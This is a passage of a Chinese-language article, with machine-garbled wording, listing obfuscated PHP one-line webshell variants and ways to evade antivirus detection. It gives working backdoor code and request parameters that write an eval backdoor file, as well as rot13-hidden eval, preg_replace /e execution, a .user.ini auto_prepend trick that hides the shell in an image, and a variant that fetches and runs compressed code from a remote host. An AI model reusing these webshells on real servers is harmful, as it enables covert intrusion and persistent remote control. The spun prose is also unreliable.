改进的地方:
一样平常的安全软件可能会将eval+GET或POST剖断为后门程序,因此这种变形将eval和GET或者
POST分开,能够绕过这种情形。

不敷之处:
只是改变了一下eval和get的位置,换汤不换药。
变形二:$a =str_replace(x,””,”axsxxsxexrxxt”);$a($_POST[“code”]);
发送要求的参数:
?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode(“PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==”))
还原出来的命令便是:
assert(fputs(fopen(‘c.php’,w),”<?php @eval($_POST[a]);?>”))
改进的地方:
用字符串隐蔽assert方法,并且利用它加上动态传入参数的办法布局后门。
变形三:$_GET[‘a’]($_GET[‘b’]);
发送要求的参数:
?a=assert&b=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode(“PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==”))
改进的地方:
完备利用动态参数传入的办法布局后门,将敏感函数和实行的命令动态传入,效果如变形二。
变形四:($code = $_POST[‘code’]) && @preg_replace(‘/ad/e’,’@’.str_rot13(‘riny’).'($code)’, ‘add’);
改进的地方:
首先,将eval函数用str_rot13(‘riny’)隐蔽。
然后,利用 e 润色符,在preg_replace完成字符串更换后,使得引擎将结果字符串作为php代码
利用eval办法进行评估并将返回值作为终极参与更换的字符串。
变形五:$filename=$_GET[‘code’];include ($filename);
改进的地方:
由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php
文件,将真正的后门写在文本当中。
变形六:上传.user.ini,并且写入auto_prepend_file=code.gif
将一句话隐蔽在code.gif中,并且将它上传到同一目录下。
改进的地方:
将一句话木马隐蔽在图形文件中,并且利用用户配置文件将其自动加载到同目录的php文件下,使
得所有正常php文件都绝不知情的中招。
变形七:if(empty($_SESSION[‘api’]))$_SESSION[‘api’]=substr(file_get_contents(sprintf(‘%s? %s’,pack(“H”,’687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace(“~(.)~ies”,gzuncompress($_SESSION[‘api’]),null);
改进的地方:
第一,通过pack函数处理URL为http://7shell.googlecode.com/svn/make.jpg
第二,利用file_get_contents得到make.jpg。
第三,利用substr截取3649字节往后的内容。
第四,利用gzuncompress方法将3649字节往后的内容解压出来。
第五,用preg_replace方法的e操作符将代码实行。
还有很多后续操作……
以上为了试验操作的方便,采取的是Get办法获取PHP的实行代码,但实际上,由于URL长度的限定,一样平常采取Post的办法。由于PHP版本的不断更新,因此一些旧的方法可能已经不太好用,但是随着版本的更新,相信也会有更多越来越新奇的mm逐步浮出水面,让我们拭目以待。